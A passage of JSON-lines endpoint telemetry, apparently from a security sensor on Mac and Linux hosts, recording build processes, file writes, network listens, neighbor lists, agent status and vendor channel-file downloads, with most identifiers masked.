18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
+{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
+{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
+{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
+{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
+{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
+{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
+{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
